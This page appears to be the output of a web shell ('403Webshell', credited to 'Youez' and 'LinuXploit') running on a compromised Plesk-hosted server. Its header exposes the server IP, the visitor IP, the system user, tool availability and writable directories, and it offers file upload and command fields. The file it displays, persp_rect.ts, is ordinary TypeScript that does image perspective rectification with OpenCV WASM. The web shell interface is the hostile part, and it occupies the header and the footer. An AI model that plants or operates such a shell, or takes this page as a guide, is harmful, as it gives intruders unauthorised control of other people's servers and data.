403Webshell
Server IP : 217.154.3.148  /  Your IP : 216.73.216.90
Web Server : nginx/1.30.3
System : Linux blissful-wright.217-154-3-148.plesk.page 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : gracious-boyd_hfhh1h8vo9n ( 10000)
PHP Version : 8.3.31
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/gracious-boyd.217-154-3-148.plesk.page/nextjs/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/gracious-boyd.217-154-3-148.plesk.page/nextjs/lib/persp_rect.ts
import fs from 'node:fs';
import path from 'node:path';
import { fileURLToPath } from 'node:url';

export type Homography = number[][]; // 3x3 matrix
export type VP = { x: number; y: number };

let cvPromise: Promise<any> | null = null;

async function loadCvModule() {
  const currentDir = path.dirname(fileURLToPath(import.meta.url));
  const wasmTarget = path.join(currentDir, 'opencv.wasm');
  const wasmSource = path.join(process.cwd(), 'node_modules', 'opencv-wasm', 'opencv.wasm');
  try {
    if (!fs.existsSync(wasmTarget) && fs.existsSync(wasmSource)) {
      fs.copyFileSync(wasmSource, wasmTarget);
    }
  } catch (error) {
    console.warn('opencv-wasm: unable to copy wasm binary', error);
  }

  const opencvModule = await import('opencv-wasm');
  const cvExport = (opencvModule as any).cv ?? opencvModule;
  if (cvExport && typeof cvExport.then === 'function') {
    return cvExport;
  }
  return cvExport;
}

async function getCv() {
  if (!cvPromise) {
    cvPromise = loadCvModule();
  }
  return cvPromise;
}

function median(values: number[]): number {
  if (!values.length) return 0;
  const sorted = [...values].sort((a, b) => a - b);
  const mid = Math.floor(sorted.length / 2);
  return sorted.length % 2 === 0 ? (sorted[mid - 1] + sorted[mid]) / 2 : sorted[mid];
}

function toGray(cv: any, src: any) {
  const dst = new cv.Mat();
  cv.cvtColor(src, dst, cv.COLOR_RGBA2GRAY);
  return dst;
}

function canny(cv: any, srcGray: any, lo = 50, hi = 150) {
  const edges = new cv.Mat();
  cv.Canny(srcGray, edges, lo, hi);
  return edges;
}

function houghP(cv: any, edge: any, rho = 1, theta = Math.PI / 180, thresh = 80, minLineLen = 40, maxGap = 8) {
  const lines = new cv.Mat();
  cv.HoughLinesP(edge, lines, rho, theta, thresh, minLineLen, maxGap);
  const out: { x1: number; y1: number; x2: number; y2: number }[] = [];
  const data = lines.data32S;
  for (let i = 0; i < data.length; i += 4) {
    out.push({
      x1: data[i],
      y1: data[i + 1],
      x2: data[i + 2],
      y2: data[i + 3],
    });
  }
  lines.delete();
  return out;
}

function angleOf(l: { x1: number; y1: number; x2: number; y2: number }) {
  const dx = l.x2 - l.x1;
  const dy = l.y2 - l.y1;
  return Math.atan2(dy, dx);
}

function kmeansAngles(angles: number[]) {
  if (angles.length < 2) {
    return { a1: 0, a2: Math.PI / 2, g1: angles.map((_, idx) => idx), g2: [] as number[] };
  }

  const normAngles = angles.map((v) => ((v % Math.PI) + Math.PI) % Math.PI);
  let c1 = normAngles[0];
  let c2 = normAngles[1] ?? (normAngles[0] + Math.PI / 2);

  for (let it = 0; it < 12; it += 1) {
    const g1: number[] = [];
    const g2: number[] = [];
    normAngles.forEach((v, idx) => {
      const d1 = Math.min(Math.abs(v - c1), Math.PI - Math.abs(v - c1));
      const d2 = Math.min(Math.abs(v - c2), Math.PI - Math.abs(v - c2));
      if (d1 <= d2) g1.push(idx);
      else g2.push(idx);
    });
    const med = (idxs: number[]) => median(idxs.map((i) => normAngles[i]));
    const nc1 = g1.length ? med(g1) : c1;
    const nc2 = g2.length ? med(g2) : c2;
    if (Math.abs(nc1 - c1) + Math.abs(nc2 - c2) < 1e-3) break;
    c1 = nc1;
    c2 = nc2;
  }

  const g1Idx: number[] = [];
  const g2Idx: number[] = [];
  normAngles.forEach((v, idx) => {
    const d1 = Math.min(Math.abs(v - c1), Math.PI - Math.abs(v - c1));
    const d2 = Math.min(Math.abs(v - c2), Math.PI - Math.abs(v - c2));
    if (d1 <= d2) g1Idx.push(idx);
    else g2Idx.push(idx);
  });

  return { a1: c1, a2: c2, g1: g1Idx, g2: g2Idx };
}

function lineFromSeg(l: { x1: number; y1: number; x2: number; y2: number }) {
  const { x1, y1, x2, y2 } = l;
  const a = y1 - y2;
  const b = x2 - x1;
  const c = x1 * y2 - x2 * y1;
  return { a, b, c };
}

function intersect(l1: { a: number; b: number; c: number }, l2: { a: number; b: number; c: number }): VP | null {
  const d = l1.a * l2.b - l2.a * l1.b;
  if (Math.abs(d) < 1e-9) return null;
  const x = (l2.c * l1.b - l1.c * l2.b) / d;
  const y = (l1.c * l2.a - l2.c * l1.a) / d;
  return { x, y };
}

function medianPt(pts: VP[]): VP {
  if (!pts.length) return { x: 0, y: 0 };
  const xs = pts.map((p) => p.x).sort((a, b) => a - b);
  const ys = pts.map((p) => p.y).sort((a, b) => a - b);
  const mx = xs.length % 2 ? xs[(xs.length - 1) / 2] : (xs[xs.length / 2 - 1] + xs[xs.length / 2]) / 2;
  const my = ys.length % 2 ? ys[(ys.length - 1) / 2] : (ys[ys.length / 2 - 1] + ys[ys.length / 2]) / 2;
  return { x: mx, y: my };
}

function homographyAffineRectify(linf: [number, number, number]): Homography {
  const [l1, l2, l3] = linf;
  const denom = l3 || 1e-9;
  return [
    [1, 0, 0],
    [0, 1, 0],
    [l1 / denom, l2 / denom, 1],
  ];
}

function invert33(H: Homography): Homography {
  const a = H[0][0];
  const b = H[0][1];
  const c = H[0][2];
  const d = H[1][0];
  const e = H[1][1];
  const f = H[1][2];
  const g = H[2][0];
  const h = H[2][1];
  const i = H[2][2];

  const A = e * i - f * h;
  const B = -(d * i - f * g);
  const C = d * h - e * g;
  const D = -(b * i - c * h);
  const E = a * i - c * g;
  const F = -(a * h - b * g);
  const G = b * f - c * e;
  const Hh = -(a * f - b * d);
  const I = a * e - b * d;
  const det = a * A + b * B + c * C || 1e-9;

  return [
    [A / det, D / det, G / det],
    [B / det, E / det, Hh / det],
    [C / det, F / det, I / det],
  ];
}

function applyHToPoint(H: Homography, x: number, y: number) {
  const X = H[0][0] * x + H[0][1] * y + H[0][2];
  const Y = H[1][0] * x + H[1][1] * y + H[1][2];
  const W = H[2][0] * x + H[2][1] * y + H[2][2];
  const denom = W || 1e-9;
  return { x: X / denom, y: Y / denom };
}

function warpPerspectiveRGBA(cv: any, src: any, H: Homography, width: number, height: number) {
  const dst = new cv.Mat();
  const matH = cv.matFromArray(3, 3, cv.CV_64F, H.flat());
  const size = new cv.Size(width, height);
  cv.warpPerspective(src, dst, matH, size, cv.INTER_LINEAR, cv.BORDER_REPLICATE, new cv.Scalar());
  matH.delete();
  return dst;
}

export async function rectifyImageWasm(
  rgba: Uint8Array,
  width: number,
  height: number,
): Promise<{
  rectRGBA: Uint8ClampedArray;
  rectW: number;
  rectH: number;
  H: Homography;
  Hinv: Homography;
  v1: VP;
  v2: VP;
}> {
  const cv = await getCv();
  const { ImageData } = await import('canvas');

  const sourceImage = new ImageData(new Uint8ClampedArray(rgba), width, height);
  const src = cv.matFromImageData(sourceImage);

  const gray = toGray(cv, src);
  const edges = canny(cv, gray);
  const segs = houghP(cv, edges);

  if (segs.length < 2) {
    src.delete();
    gray.delete();
    edges.delete();
    throw new Error('insufficient line segments for perspective rectification');
  }

  const angles = segs.map(angleOf);
  const { g1, g2 } = kmeansAngles(angles);
  const lines1 = g1.map((idx) => lineFromSeg(segs[idx]));
  const lines2 = g2.map((idx) => lineFromSeg(segs[idx]));

  const intersections = (lines: { a: number; b: number; c: number }[]) => {
    const pts: VP[] = [];
    for (let i = 0; i < lines.length; i += 1) {
      for (let j = i + 1; j < lines.length; j += 1) {
        const p = intersect(lines[i], lines[j]);
        if (p) pts.push(p);
      }
    }
    return pts;
  };

  const v1 = medianPt(intersections(lines1));
  const v2 = medianPt(intersections(lines2));

  const l1: [number, number, number] = [v1.x, v1.y, 1];
  const l2: [number, number, number] = [v2.x, v2.y, 1];
  const linf: [number, number, number] = [
    l1[1] * l2[2] - l1[2] * l2[1],
    l1[2] * l2[0] - l1[0] * l2[2],
    l1[0] * l2[1] - l1[1] * l2[0],
  ];

  const H = homographyAffineRectify(linf);
  const Hinv = invert33(H);

  const rectW = width;
  const rectH = height;

  const rectMat = warpPerspectiveRGBA(cv, src, H, rectW, rectH);
  const rectData = new Uint8ClampedArray(rectMat.data);

  src.delete();
  gray.delete();
  edges.delete();
  rectMat.delete();

  return {
    rectRGBA: rectData,
    rectW,
    rectH,
    H,
    Hinv,
    v1,
    v2,
  };
}

export function backProjectVerticals(xList: number[], Hinv: Homography, rectH: number) {
  return xList.map((x) => {
    const p1 = applyHToPoint(Hinv, x, 0);
    const p2 = applyHToPoint(Hinv, x, rectH);
    return { x1: p1.x, y1: p1.y, x2: p2.x, y2: p2.y };
  });
}

export function backProjectHorizontals(yList: number[], Hinv: Homography, rectW: number) {
  return yList.map((y) => {
    const p1 = applyHToPoint(Hinv, 0, y);
    const p2 = applyHToPoint(Hinv, rectW, y);
    return { x1: p1.x, y1: p1.y, x2: p2.x, y2: p2.y };
  });
}

Youez - 2016 - github.com/yon3zu
LinuXploit